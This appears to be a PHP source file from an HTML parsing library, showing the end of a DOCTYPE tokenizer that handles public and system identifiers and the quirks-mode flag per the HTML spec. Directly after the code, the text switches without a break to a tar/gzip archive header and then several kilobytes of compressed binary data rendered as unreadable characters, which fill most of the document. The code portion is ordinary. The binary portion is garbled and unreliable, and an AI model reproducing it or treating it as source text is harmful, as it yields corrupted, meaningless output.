			if ( $at >= $end ) {
				return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
			}
			goto parse_doctype_system_identifier;
		}

		/*
		 * > Otherwise, this is an invalid-character-sequence-after-doctype-name parse error.
		 * > Set the current DOCTYPE token's force-quirks flag to on. Reconsume in the bogus
		 * > DOCTYPE state.
		 */
		return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );

		parse_doctype_public_identifier:
		/*
		 * The parser should enter "DOCTYPE public identifier (double-quoted) state" or
		 * "DOCTYPE public identifier (single-quoted) state" by finding one of the valid quotes.
		 * Anything else forces quirks mode and ignores the rest of the contents.
		 *
		 * @see https://html.spec.whatwg.org/#doctype-public-identifier-(double-quoted)-state
		 * @see https://html.spec.whatwg.org/#doctype-public-identifier-(single-quoted)-state
		 */
		$closer_quote = $doctype_html[ $at ];

		/*
		 * > This is a missing-quote-before-doctype-public-identifier parse error. Set the
		 * > current DOCTYPE token's force-quirks flag to on. Reconsume in the bogus DOCTYPE state.
		 */
		if ( '"' !== $closer_quote && "'" !== $closer_quote ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		++$at;

		$identifier_length = strcspn( $doctype_html, $closer_quote, $at, $end - $at );
		$doctype_public_id = str_replace( "\0", "\u{FFFD}", substr( $doctype_html, $at, $identifier_length ) );

		$at += $identifier_length;
		if ( $at >= $end || $closer_quote !== $doctype_html[ $at ] ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		++$at;

		/*
		 * "Between DOCTYPE public and system identifiers state"
		 *
		 * Advance through whitespace between public and system identifiers.
		 *
		 * @see https://html.spec.whatwg.org/#between-doctype-public-and-system-identifiers-state
		 */
		$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
		if ( $at >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, false );
		}

		parse_doctype_system_identifier:
		/*
		 * The parser should enter "DOCTYPE system identifier (double-quoted) state" or
		 * "DOCTYPE system identifier (single-quoted) state" by finding one of the valid quotes.
		 * Anything else forces quirks mode and ignores the rest of the contents.
		 *
		 * @see https://html.spec.whatwg.org/#doctype-system-identifier-(double-quoted)-state
		 * @see https://html.spec.whatwg.org/#doctype-system-identifier-(single-quoted)-state
		 */
		$closer_quote = $doctype_html[ $at ];

		/*
		 * > This is a missing-quote-before-doctype-system-identifier parse error. Set the
		 * > current DOCTYPE token's force-quirks flag to on. Reconsume in the bogus DOCTYPE state.
		 */
		if ( '"' !== $closer_quote && "'" !== $closer_quote ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		++$at;

		$identifier_length = strcspn( $doctype_html, $closer_quote, $at, $end - $at );
		$doctype_system_id = str_replace( "\0", "\u{FFFD}", substr( $doctype_html, $at, $identifier_length ) );

		$at += $identifier_length;
		if ( $at >= $end || $closer_quote !== $doctype_html[ $at ] ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		return new self( $doctype_name, $doctype_public_id, $doctype_system_id, false );
	}
}
PKE�N\��gnn/html5-named-character-references.php.php.tar.gznu�[�����{�TG�'��n����ݙ���hfzG���yH-Q����SU)����*`g�
(�z�7�ޅ����Q�k�1��+��~��s�p?�����k����Dx�=<<�#+��A�狃�U}�B��z���p�W�r���G���l��@����R��Un0gs�(�U�GqT�E�_W�������_OWW*���ή��������z'�t���n{�%���z6vY�������u=��_��7󋶿i{�Q��j *Gq���r�l���_�ۊ��By��Qmۺ��mma�����WWn��'���/��m��m��6�gۮ�m�n۾�́o�ݳ�7�l{����?n۲��ͻ�ܳ���D�J[�Ro+U�Cm���+M���q����T\	|���-n�]�M0�J�����zK����j1����ϵG[=��k��P�\����ֳ2�r�P/��3���!������DmU��8�Հ��i�����ׯ;�5��Q!r����l_1��/���l��/�٧��Ӑ٧�٦Г��z[��_駶�ugw[��
��+�*�w�P��
�Ŷr4�(8Z����\�Ղ�D�BD��m���AΕ(�d��h沵�W��\sm9�e�yP��&A7�}W
ЏJ�\���Q��(o��붏
��J������F1B+� Ζ۲���@�Ҩ�P5�k��@�ի�6<�1��W���0*�����g�+~�UǕ��G֑I���̍[mLj���� T�҈s���m�q���?�枏���ĮhD�ʙsM�bK������.;T)�]/E�W��r��uI�D���E,�"3���F5O�ݗ����z�Z��k��F�f�������J������~�94������ʟ�����7T�O]C�*�j��i��_���g�8{����������+x͍�_���o�~��򫺛���kt��bT�"B�q�Q�q�77�|��7��o�}�����-ⷄ�2~+���7�o
�u�6�-�|�ފ��o!�[H�R���oo���"��H�v���6(�=��~Q��A�m�|4��w��{�ݍ�O���;��(����;�����/RmF��(�f�ڌVڌ�lF+m��h������>�Q���]P{t�E��"��%߂ܷ �-�-H�e؂�[P�-H��) ǭo��"�V�ڊ�"�V�ߊ�m��؆ܷ�G�!�6�݆|���6�
�ކ��
Զ��6�
4�C���=�yq���ߡ����~���C��!��;�lG�lG�툹���/��Tۑv;�Ey�G����}�z��Gk����#��(������>@�����?��j�pR�@�h�H��%�
;0Zv��v��P�Ԇ�w'������sa'J���	j;Ag'�~/~����{�w��_�s(��]��.����@���]Leۍ�ۍq�tv��nP�
�Aa7�tvc^��ݨ�nP�j{v�svh��=��4���PۃR�����3e/R�E��Eڽh��(�^�ؽ���t�2�j/J�!8ɇ��!h~���>�A�C����b~�8!�G����?������6���>F�>����c��㣄���>A�O����	R}�T� U1��Q񳈙E�,Z)��E[e�VYPȢ��h�,SC[eQ��0���s�!�>�҇\�P�>�Շ���}����W��C^}ȫy�!�(�@3�9�́f#$�9�́Ztr��C�sL
e���<�?���#�<ʟG^y�G^y�G^y���1���1���1���1�~#��yE�%B.r��K��@9B�Dh��Dh�s*B�r��c�#�8�ȥ��~?���(?r��~���~P���P@���J>��<����������(0e�y3h}1�\�� r�A����APD?�����/ ~�)�<����,�<�)���g4(U-�h~j�!�gH�b~�8���~�܏����~����w?R�G�"jZO.�m��E�)��EP+����Q���\�"(��E���z�W�*����/�UD��h�Fc	���c	9��c	9��W	mXB^%�RB.%�R�(���w;~������Q�2�*#�2�*#�2jWF�e�XF�ȷ�:��o��Q�2r/�ve.jWƼ�`e� �
� �
� �
� �
� �
r� �
r� �
r� �
r� �*r�"�*�WA�
�UP��r���\�*hVA�R@��s�@��c�E1�O��c�p�2Ĩi��Ġ�$1(�(I�����y��+F�b���1��RC^5�UC^5�UC^5�UC^5�UC^5�UC.5�Rü�!��!��k�u�XG�u�XG�u�XG�u�XG�u�RG.uЯ�~4h�ڭ�
Pn�r����h�r�h�
�o�~���@�(y
!�!��f�rB^C�k�B�C�e=2�\���rB.Ch�aPF�a�F�a�F�a�?����A�<�D[D�Q��� ���L5:�q~�:�Z�C(�!P>��@��B�È��$���0RFy#�a�=����ou���m��+q���a���_{�������}?�e8H�_ӷ_:]���a�v�28t���������uB������?��N�4E6��.�#	S0���W�r�
@ CJ�/����GM2�(�ˣ1W�s.��J�Ц}<c�H���Q�c<���C���3J�?޴�~a��5�H]��hq����HF�4��Ji��2����}?�5%E��F+es�D/
�. %�r~ӾW+�M�����4Re�Rv�F]�+�~��K_Aw�R�R�'J�Z-z�QΑ>�ex�&��O��-M�4�g8H!�Ae���Ae��5u�{.��.}-�.:wʹ7�#Ӊ�'���5�R/��g�2���W�|�*�ώ)�F���S��B�N����: �pH�V6��V��]%�g3��#��1C.�������Q��Y�)Jx��%����`�!������\i����r��=�e��
���:��sJbc���F�?=������e�ӌd&O�Iڷo����iL{�hDf
?^2��/i4�����@e�h�R5:@C���0:�����d	J�j˿�c�Ǜ��X� D��P�+`�sXSf��z��N�:�z��]�����v�P1:���� f�/�(\u�)��*��q�T=L�[�~I����ߦ����Uʅr���}�a.�yLS8�h"��a	��ת�0	'�)[PA�����	��|��*_q%z9iZ�R�H�)"e�;��׮\D��F�����Q�_SY9`�xo���M���Q#
ܜ1������W�b�~�ܠ�t,�1{
������Qf<y5yY�g��29�L��1y=E��P�=QF]�2+��ÅZ�v�\�4�m����V�!�U�>�O��x�J����Q��j��Z�
�.���\��4�<r�����)x�A�����+c+�.�q#�@��Ep5��9�3+e���CD�)qO�P�k��q�K{��*���.ƨ��9�-B��q�34�P>^�l��=�FE����Ս_��ގ+5s�o%".�ӈ~���]i���UfQ'3�2�I7�r�NZ����;n���AZ#��f�<1�� ��n������x��h
��ʿ����D2�>A��)�Nk��@D�bč�w��U}��1�nj�ԍ�<��c�(6/��X����P�x|�QDq.z�XO�u�����Xٝ�4lO�m�_�Iz����D�bn��lZ�rn��D~����0���a��E�L ����L����?^&\Ӫ9�x�
��)�ڻSK�8LS�<L|���L����k�7�(%З�o�ua�����ʣ_�E.�vǛ�G��]�����q\v���6#�S�=��%ىC5I�LS����2\�>Ĺ���p���'��Ü��X'�҇�>��U�
6��F1ڍ�/hމn(>A��I�G��Џ|�DY���3-U"�D~���J/7��3K�#�-Hk�|Κ�r���3�%�Ɩ��$�,�D�YR���/B3��a}��ę@�J�B�Y�8FS��O���g�(��ܷ����Ұ2�w�T|=q!|M�U&�����:\����:b�q�����-���͙o:�����_o�\��Ɏ^��}j�L�~j΋d���a�Y��/M#���,Jf�p�hj�$9D�!�H)�O�j�	�ؼ>=#�fǶ.b9;��:��}f���}��a�3�%�w�8?�2�����yF��C�r�1٦V� c���~{������c�TT�%�)���P.]�Ǖ�nE�Y�E�9�(�3�3IIi.����M��͆�cR��~f�n���p��Q��މ��o堦�z����)�����z�	���+����&%(!�B�H�B��Z��d�ѼME7Q�yk7�����H"����!�M���s�	S0M=7�k�s�B1*�`��g���D.U��?���-w�q;�]��$��SB�Z/��o���f�h�7����4,U�{�͢��r�,��4Mߥ�0�N)Tklo~�1�g��z�Q(��B�D�t�
3M$�WGA{�Gf��x��B`c��Sn����+LەG���y�;�e�� M�sO�Xy��!_4�H���}S�(Ъ��Umߔ�<Xu{2�z�I(=�H,���7*�>�EB�{t#&�1�=���6ߪڛ�(29&�&�N�w�b�O����4^u�w�%�Q�JKZsj�:��u�@�-�1v�_�+�E��#�X}fԏ!w藘���[h$9��iV2B�L_�h[x�x,eg���eϦ}���i��V?gK���p��D&��в�]|%�?Ӳ�E0�t���yܰ\*y��z���^�vY�rE%l�A�����/���c�g�{3����H2�&�Ɨ.W[h�u����F6[|G?OU�>׈q��G��b�d֕��j{���Հ~�Q,	w)��C��N��x8׃��<&�֩�zsɘ�<'f�T8����E��\�$�|����R��Rr셀���4IY-+#�ֆ����T��m�E�ZK�M��([����U3ހ¨ZՈ�\�ģ�ۚut��Y��E��D������m��a�x[Y;;�����H�b�� ���4���>�)�Z�����a
��Cm=�I��OD��)9�'��)�O�8F^\L�+S�F	[�˧@�Ql4T}&&w!i����ګm,�ͤ0B]뷽���_�!��J���#)��w�POf$L�4�d�P�9��P�a�Q֗R��z�j�dz|���Fx_#�;�2��m��A�@�Md�i�݃J��ʠ:p�����9���'�n+U��Vc�Ȑ�l*�Ɛ��
s{8qo�K�个��֠<T���ǚ����E���#�	�N-���SG�Rk)dN��	����o�2���,���p�!�UX��zطM�Ữ��̌PB�Y�T0��X�f0���Tױm2�Ϥ���&'�/�M���K�Pnk���s�c��4�(����'΁�,z�WeQ���	'}�icI�rK}h&�V�=Y�O�-�:
��mz$m5���^-�Q7���҂Zb_����4��F��C���Cۅ��~�-2�Ig���*
�+�P�*C�F����+�bA{lZڤ��>���z�;��GS[Z5~�[w1u�_�sL�4���;���߿���jѭ�"�;δݟTC�R_���*�����*�H�Ȼ�?����o-�<IS�l7��(��3��{�3���Z_M�\<Kv�S�aW��ק%��n���Ͼgs�#�{s����o)>�˾�=q�5Y1���CƿIHC~�Ѭ�T�g	]�!�
�SW8v�B�T2K.��iO9Q��(���P�3��FƄ̚
*mR�&���K�y���	�_ݨ�O�r�,��zS+����QoG�",�^M�s�ڮ�m�(�w��a��bߧ'Κs"�_1,���[��T��u+��:y��}J�p���?��O��S�r�2J�K|��aY��䬖�Kbt29��7
P^�I}���?��0Ň����TNq�h�)���ʭv��ͭ9v��f��ӊ���
T㭺�+�n.
����@O�F��b�r��Ms��C�;�+Ɔ��q�w�:����U7�c�K@+��&��w�����3����&�m:wx�q�O�� ��U:�1�	��+ߕ��t�B�R���W�0�#L�]��(Y�+�����R�7�[�-��k�ԣگ3�Pl�ut���2�I�x��'i<fd2�7�>�^.g�Zpi	B�'�AB�^���$�k��T	��-ͭd=x4`n���=f|!Z��
1����=bt1ىt�g�!U�m����Ww�iɀA����|���L"�t�=�n�C]��$�Q�Z��a3o� eC>�&�C 1&�^�P���L�(y5Ƒ������˨�����Y��r}T��L�3iSJ71�7�q�i|ãAw\u��16�*�����tH�ߔ���kM-��6�,�N�Ȳ���@d�uk���u2��~"��,:��0er=Mt\?�׏�~�����,]p@j�=����ё)G<�գ|��rb-�%�'�/�Xn������-�v�aVt���ZY�3#Sth�R\�k$���X���Z���\���-���2�h����vWml�-�ܪ�R�3M�z�_�t�Dcw���:�9>�#7D���:u� �I�����6r�(�7���o�F1�������m��$��gkpےL�΅b��18����3ȧ�a���eh��򅠋*j�9��N���}� d$*DS�B�Y��F�ċ��.�W�՞l-�u!�}?P�C��cgr�6S(��<�E���T�Ֆ��:�O�oB����E�CerȦ!9dә��P�QŅ��	+�ۡ���6' �T��0�g���{�#�~"̑D�ثc�b:��E��qჱ+Oj=�5�HD���7�ID90>i��jC����3��Bk�Pm�Iga�$���d*c��s�i��?���^Ɵ���vƟiKٙ��XfX��V���_�V�ƴ��k+k㯷ij�n M�[>����������z3�c�k��q����&f�=uK>6�;n�i|jbyH7yF�5q=^!I0�ob|����q��r�#z��7�?n�5|Ir@Nu_R%� ���[��$�(�
��_�v���$C�lN!�(��ܫ��`��x����	���`c�`���-�mr��1�8�%��G�q�2J�?�h[kj�>�.��#�1�6W��0M�}?`-e��d��H��=��#@��#��Q��lԅ6֓�x�d������2����r�Q���z���6[���V���ü�wE��n�������ä5=L����WRU�����7<��0�
I
���F*����n%v�o�q�DZ�j�ß���H��i'�d)�'����!'�2�턌_OZ��OZ/�m���w�YGs��;��B�u�CD�si"���?ou+�9o5I�y+�>�y��P*����w���4�>�aM��pLtm��Q�:s)>��h��w�c��a���Q��i^V�2�) U��ޙ�cw^	���W5��fV.�h1V�d����p)#a	�l�� �s��K�Y\y���*�"�᧊lv��`y��| |ڼ�����N�#�Z�g���(�j�Gf��T�Mw�5xg��6�\fOS?8����z���7�x<bL��$1�4�NV�y����$ǻA�.R��ZI9��fܜn���ɸ�ļ�k�5�U�N�s��朲��p|4g���QwR��-<L��Hw$~�/���K�_����J��s�XuB�y��)b�9���X�ϧ�]O�S���e�Zw���s�U������EmbA����߽��i�� ���”�S��M�'H�k�:]m?2K�3��1A�OCIG�h�]�'H��c�Oc��<y�c��6��n���F�`9u�\3�F-!~�wǞM�z�A���}�{1�v�ᰦ��{!m�*?����+-��
=����E�?9^ł]o��y"돤�u9۵y��n3����I!�[8����ҭ���:���Y�L}��ξ����_�"H	�D����zA�uv��ZP��wy-(ebsR-(�y��5�����j�||��1��IڕO�ݑI�x�,�)�Q�r:jo��o'�[L�qM��UU�.���<ƒ�+n��ώ
s������h����,�M��͇���|h1%x$�m	V�lLp�������\�Di.���{ԓ��
2��|�4���/h�p��TX��"Q��3��|)��)�:'�p�?%�p�xN�DY��m{Gk���N���yv.�o����ͷ�3���v^�z������rbO���UY���|i=���4��xR��dڗOqһ*�fB�o��q�d�tN���Ƀ��n:)��i��Ӵ��6;�Ѿxc�I�9�ك�)��hla.wj����(��s�^�~��a����r?���qW����Ae����i�����s�T�
�pP�rۮF1z'*f�ڛ��&K��#�aH�{�\���nYJ|ĺ��k�T�ؽ��=HeV�n�QW��~y���v�<�ۯ�7]��zx��� �_� �x�$�}��F�L��7z��y�h�2•���!g6M�����A'ڵ�.`�}��l�VR�nj�"JRֱ�Og�y�7����3Y0V �p����T�{F�B�qė��P`�<����s�����	�6�zb�~�7I
�/M�ϓ�3mi�l�g3m)gU��8��e�x�c0K�@��YV��Z�--��o�Ờ�6�$�T�Y���豤��aiU�j�	��8�݂���*3���}7U�Vxw��ՠxV?�
��3Չg���;��aᚺ��}9�))�S��{�^*M%��T�3�&�Y|	h�sǁ��W����L�ĬI��}E�M �|�Z�d���o��݉��p%U6ސd:׭c
�T�a��g>v��=�/��{�����}?8� ���7J���N1��w��y`���.B�R��Y]\��a�m�]a���ˌ�8�d��lb�K�%�������4�s����̻�~9�Ma*��ԥc>�t�6����,��qM���{52��w)⨿n3��`c=2����tֆ��	�B�ń����JZt��<�ʜ[��gڒ���f� ��f�ͧ��a�Ʀ�c�����w�_<�R��r"f�_�u��Yox4(S)k��Ts[�=�3�{�����#F��4�%�	$$*����W|X��.0��
��Z�HA?��?�
\�
��O�;
c�+��S�:]$�>��a��589s/�5 D���H�g
W�lPa�?k��~z֠�|{e�\J�6:<�����	S0��r�=kP��^9^0js=CP��r�E�@
�#��
z�n)��ɝ�h�T>�c���i�iR���t��1�TP������ko��u�����v{�Ck�+W4?������Wɉ�n:"B&n�q<co��le{Q�	aw��M����K��3����t����#�UE,�,A;(��/ZX���_�aӾ��VS
ш'��E�\��/_m5�%}\�U9Fj�l��N',Y�0�HȍMW�`�۴ͦ�wOB�'����T�Rt������s��|��]�
�
�u�z�y?U�4�^N��S���u;��ϑ�o/Α��/�#a�&�H�
����ur��w��V؇a���"㮙h`��DTx��҇yG�V�5����W�HAߙ�b�<zl�
vGn�fY!v�R&���;\ҠuR�i�?)B��>�+=2˟C�l�T�zsYP��o��ɻ���=t��*	&}�Pė���y������}�
s����J���CY@.�- �?�L�d������Aܪk�A����|ۓؼ��.*���a�j��ʗ���z��=M(��^>���JZ�u������:���W�uV7�?H�W�2V��t�d�
r�ۄ?���N-��������T�J����-�l4��*�}̮�'R"镊��s7%�������d��E³�*��r�B�j?�1��@�ki��:�*3�X���4��Ay�Ǿ�Ϥ����}�[�aj+���x�I+^�|?��lJ������&����O���Y����h9jؤ=3-�ۭO�L��ԔE\����(�|T����'��2��'b1S���L�j���X�OD�<��;.��X?��(�s􆦬��2�`ژ���z8����XW
�G�Ǭ���9�W�fy��#u���y@a�D�O!���״]m��7��=}���K�ȇ@Ql�o�ޠ�WK�lď5�%A
��v�����A�Y��7\j�K{=�������?�473�`ږ�T׺���l1��Mn?��`�[f
��<�h7�E�
�B�%.+^�P�H�u��{d
����>Q��[�	����h����jo�l9_+V����	:��@������$���Ji�,�����Z���R�,~@����R�-�ׇ�@�zi}�0��O~GP>��?�x24�o���o`��M!G�9�T�й� ]_�rP�y`)��LK��nh��6H���0�\\	��`VF���Z���;#�i񋀑>^�02���M�Z
{�U��|��`�q�Ll�Ѷ\'؛�yy��\�w<"�'�c��7���1o��E�S�u�y�z�/h-�[BWEu�t��
'ԇ~��F��^���EW��j5��'�ܞ�fY��Bc�Dǖ�hLLQ�R۴�?S���
qPL��	t|H(��$�ˠlZ���F6�A��Y�jO`a�@����uɈ�z14����Θ��Gܞ:�o�,X���fӿ=�w�d���"Nf�
�W��v3�o{;d����E��-LMW�@���Fs��n�H��26���Z�GUyey�Js{�V!��,٫�
�֗h���9�ې�;<�vpY��}��E��㶜z�gi���gך��z��G�H�0u�aWb@���(�Q��Cl*�3|b��3�����N-�3u��(��#Fq��:�f�bp��}�)	0�xy��-��EP�8�.���ﯻ�I�G-"A#tm�Hy�
� ��l;A�1�pW��^4��/�Q�N��.��f�T_����n=��c�>A��(��=w23D��e6�C4}k�#	�_!)ⱙ[͏��pn�-�!�p�\3Z.�����F���MW�k�Ў^�����Œ�Z[�����+U���baB*4:��1�X��>�̞�2\e�����9�^��_G�V�@�_]�ǔ��x���j|�z�8��wd8K�a���f���Q�6h�Y@�
1�X��N��b�j1�0\3���Q*ǘQ`̤��*������J�s�e���q�8��w+��a�!�)�Z�ii�9}�����?���s^55t���7�k�s�d��@xބ���ˎ6�)�C�+�#Ŗ�U���:L��ę�)������8�E�w"|�•ş�E����ܡ�-k�z��	Uᮡ����p
�#��
�D�^V��QI �j<�Վj�_�1�% �h�~™��ȠJ}��@�@�i�֫cN.�+c�L���kο'�٫ 6�8�]Ǧ�	���i&��%�܏���g��M�2�'oT�WJ�����|���ki�;�]x�"�wQ��I�;3�a��3��JN3��K��*83�a�3K����+�k�����w8���si���Y�0���0�p��v��H{����S���^F��9L�����z]x�p�r�/q�%�ܞC��*��������^��0�p{��JDq�J�U���g����jQJH��<t����b�0��N•���I��wcP1Lc��Y	��Z<�pO���Ew	x�A9-��eP����4�+�
�"���3(�����>���|�0��Ơ�g�4�à'�9���Me1�Yc�S�͠����Ig��1(i/�aP�^��O����o�e�5.p��5.<��^e��{�A���>_�!��zR��n0(�q�;=e�!O9���������Y@�,n�<(��Z�?��F�7�&#|k�x'E/����MXM?$�6/0��@��#SҵJq�[�9b����d�WGNS�ˇ���Fq�H|�9��p�(������+�Q�9ؔu�G��4�VtQ<-�]׽"�J�&:+��^�J�X�Y������ih��zW><�`��75��r�4O�+�(=�z���|��7�#m��E��䲾�e�����'(\��(WW��$�eܕb���iO�#��c�?A�*���B�t+Iӗ��ק���Q�A�\�b8$�A"]�G`}+�B����j����WM��(6���jx�-"9��I
˃�K���+/h����Pc`�ä��0��0iH�����UYhV0`û��n�Ţ�Q�X#Ǘ�M��:^��T�8�3�9�T~Ej��%D���9D���0��ޣ�5�N��W���*1P��0�Ó�.�%���ʹ��*�r�Qn)���5'aڜ��*�T�l��P�kXm����֟p���d�1h�]�}��ӌE��c�[���r�J������׫ɫ�����>��/���3k�Z\:�q�?]P�rq��UK�8���cE�6Lf�7U
4����5��֘���t% ��9�$C�Gk��5��݀��QΏӯ��e<;��g���(Z���E�%��\��mg,�u� �\?���I��.�9Tl��j��N0�ae|I/Cj�H*�J��~w�[�8��(�$�DW^ �< <��-|*��N��F?\d/!�hi��M���p�yQhm�!�i��2�P,�wG2�/0	~��B��y7��1�%��P��M=\=nn�z����𦮾ĉݨ'����f������Ѡ��e����4ՙ�8.
��`�e/�����*�|:'�t����ʜ��"��vr,6��\;ɣ����:���.�zMϸsN�wn{��2��QXĥ'���v��Pк��gy��ބ8���5H~	^Ss�\��}�4�ܔ�c��P��u'`=�|d�Pt�G�%�nL��fN0A3GUm���"̸|5�)�.��>�,
�/E��gH� ���B���4��H��&Oz
Z��Գ/�)U�P���u���k帏/�m�Y�.5�����
1n쒢dC�E9�hk�?K�ͽv# �⌜����8��y�2[��8d��í����P3s0�89��8+,�xܛ�z�""οTD���k��Ǭ��x�-��V���G+�U�q+4�(�&MV�+9�}T�\m�>�h,gN�H��S��/�ܩD*�P!w���;f�jھ�N��P�M����`s~B���oe�`{�p
՝f>��{3〢-<!����<3�3���j̻�����4j����mi���%��NyU1��#v�?㭞�F݌���[�Qͷ�~7@4p��0��YoD�1��Q�����5,�+_��qb�›�Į�-��q'�a�ub�8aNg���V^�/]�J�C
�u��}�fj�/� ���7|��6��5p���aۭU>�H��R&?�����),.�v�>���M�,��P!U�^%<��<�[�ŵŀل��4�o��|=#ܖ�k�+僆J-��`�O �@3�'d��A��z=gȬ~bZF //�6?bL.)5��$<w������*�.*���R�W0J�vfK&���"�Zǐ䠭�6U�"���!_�Ubj�i��9 ��j5�x��"0o�^q��:q��Z����@��7p��c5����s3��L��H�<�R���>q�?uP��/T,��KI���{9yx������Z�H���b:��q;��OTO��u{�3�w�c��+�������8�캪��!����	��FR=�P[�l�w�u��V�X�3�S�G�)F����2�3Mcg�i�>$����r�7��~�V�Ւ97��A�r�7v�S�DK趐z���b1��z\ �4:��0�O���o)2@:�sk��2g�:|r_t�k�1��󽴍�.�˵��a��h�=H\T�m�pa@d�9b��pֵM�#������>z�=�h���	c�����u�hT
����4�l��]����O3���Xw-܅�Ej0��
Z������_M��&��$�`I�q2U(�J`��ݲ&p�_�WXL�2��D���2ˆ�{f��{�KĶ��ry�@�VQ���<F�T�N댉s��Z�r��iu\4P��z)#<���X�7X�@���2�'L�U#X�>��Y�̪:?Dt�~Áo��U�HM���@������ |z��<P��=o�3c���
B;���-]���U�;I�F�
p�K
��b3�
B�91�/Thc�X�G�	�PxV���;k�CG�<*s)ܚ�=�j�C|B�����"1�����Иګ���䲡&��~�'���?�v�9��|�A,��?K�3�EBer�'�O֚���ЅUn���	?Sd��_,�~�c4�g�{�r�:��1��υC�&x
�C�C�+O�u�`8�P�=��s�d���^<-�ۍ�P:�6H��-�a�kb]=\:n�'�A��Ս2Ҽ�{@�W�N�qc��)�Od�N� ��5�L�eg��T�t>��-�68@X$W�ܣ�o���w�<#�&:��ZZ%�=�a���>�W�'d�D�X��Չ
_ԩ���H��FL��G�d�$\�E�����mo_��B���-���\=+7�У���	�e�pΕ�/4�>C@V
CJ���>�1߹�О��/Bi���.�@��N��B�~��FbE5o���P6�wu�l\�K�ؗՇ���Ϗ�}�U���(�(�P����)0{�t����x<
V���2�����1�3����3D�,�'��3��K�&{�^&.3�%�q=��/R��d��h��/��.SUB����l�t��6}S���Uq�'~�v����/2�8�Ċ�xX��R\k�1��nJ��쯒)vik�`}Ye��8�#;��2�u��yܺ��;	wӇz�,�\e��/�4���ߋ�Ƈ� �5�������v��
nH:��]���]>;�"Gh$�l�8���$��|/�	(R���w�����3�|Y�7��p�'wA`�~��N!�\@������5����Kw����_gx�����ʆ����EE	%��5�&q���V��o�;�nաp`3���m‹�ʳ��Ad��]'�4��f��X�#��%얘$�ku,m[�?!� Y�W������'r٪*��ߜ����O7kb����q�U��ʙ����|6��V�EW��6��X��
_
 AG=D��"�z��Hhu��p q��8"�@�M��HpΌRv"C���
R6nM��x��9��/�.z��*��j� e���km6:y<�p�����>*	d~�r�1�Z�Y��%IaQR/��ڎM9&��}��?M]6�|1P(�5G�6��P�8��V���г��",��t�HN���3��(4O!*���;&�bO*�o�h���7�6�)/��IG�,C�FM�e�)6e�o�����F�3KOUݪVI�����qfx����
q;��:nj�t��jU
���j��1��^�#��!������n�Ta̼3fiy��T����t���")<�vAx6�����#b��X�f,��;fl��tV��W�憅��;��[�aB�Ux@�o��8@<ᆬ���|�F���X0�+3#N�P�����s@w?+���c�zT�"�\բ-`s�r��Wt��0u�#���d��r���h��v�P��D`F9$C� c"%�&Ć���� �A9T4r�*�$G';r���a��B��IJ�"u��1N��q�.��`'gDc&����[l��J����)nfϛ0�)|#˓�b��Pz�h*�7���.|������.�����#'�s*����R��9���\��O��/�4���~.�+��1�R�������E^�O�_��Q,o�H�d~�a�Q]�`��?q���jH����
�Ju�?%�_s3C��ǿ��0M���'r��$mk�f�h������kk��Uu��I��*�Ay���@b��"g>���:n�Δ�YĒrYC�i��������'0q���z{Y��j�y����$+�V��4��/z�]��Q���pPB$C>��1��9<��x���Gtc]`�ŋ[�(�|�a$�����T;	ty�Q���̽\���}����\б[�*�;	S0M����y�^�\p�x��F����5�&�:�P!%ԫ�
�nш$���Z�
"����f#��J]��m��*vX/��J^/�RW�B);P,�!N� �v����MJ��_R�JN�L�X"-īɯ���Ĺ�g���)[Pj��ǣ�-I:^B�[e���8�H�N�Ĉ�gO�%���>a�g0��m��,f�ARx,_(�����������(j\�[���7�B�V@YySJ��Iۯ
R0��<cP6�ҷ�p�xP�h�SW��el�s�x'���������8�����q3���Q�9����W(��Y��T��:�d���ۧ��U��W���Q��n��0u*y���q�.R
�BY�H���:l�$NM}#(���Cܯ.,�9㛺�����S��>�r3����a���BM�"�h9t��)��%q8zXuR��aGTiRh�G�κĬھ�!
hO���N�ݦ~��l=��L�&׸�P��4��Y-t|&,|)M�Q=�ḡ����zn�#|�ǫ��E��Z��Y�tɕ��U����OMov�LZ�BZ����mC�t�u?�a7��59�+���z����R_��n?�,�h�ǔ�_�6���[.���ۯ�ĸ�����-/�:���a�3_oo�Ϛ�k)��>���������(=t~���8�;��l�n[Z|SD�+栕��c�joBDL\�{B������FV=���q��6GP�LXEt7�S:='T<)�%���jɩ���U�AǮ�춯���C��^x@���}Ka'�����<�ƧK��eN�Į3�U��y���[c����<�4v��
��4.q:Ka\��BR�	��y�gm����E�eI�o�G(:bSʠ�@R�h�6D�N�xm���#�f}�Ao�卖�n4�����F�azb���8s0�@�1����w)h=����!�
�u���MC��Ԓ\�KrI�SԞ<ba�\�Ħ�J�[WT�N�8��3TD���U>���D/D��������n����/������8�GA�F��]��ia�dz�8W��G���،��] 4y����Wr�.�:�*);&��Eo`�V��g��!�!==Na�ޠJ���cT�<ɜq����ZϞ(���zhQ�Ǎ��#��y��r݇��
6���|�v�)ȏԘKD7I�Shμ"`T€Gn�A&�hv�d'2��b�xL�$��9����@��d�_�j�S���2���Vk�1��'����	��[����d�H ��4{�i�QoG���<�3":p@D,%ϔ��Oъc�NP�F ��t�ӊ�:�әx̐�F������d�<֎.#��� JĜ5��Q�y�ed�.��=��Un�7w&�TM��i��ۥ����^e�	Ʒ��.0��-�S�s�v�2Ҝ�aF�|�:Y9���ϺL��T8�|�6�MC�L���A��)�B'q&���kz(55ˈ@v�1#T�Ll�c�|x c��F�����\�Y�U#�ל%Q�1.F���xIEϧ�����K�	n��8���q+`G!}�Թ*���g���$6�dh=d:k����E�ٸ�da5 �y
}�S|����F���.����y3|�(��."pVM^�,�^N�|U�X��=Lc���˸@��H:`lE�E�H�Nڌ�������Pޅ�����U����5�.N�R�Q�gs��N��J�T�{�w�#Ѓ���N�G_{��:NY�L>kV�o���Ľ�i�/9�(�f�#č�gN��y�0p����aB��>���}'�0C�pڧ��
	�MkϜۥч$�8y�RM:W��!�#�[�q�R�ZÚ1G�W�K�
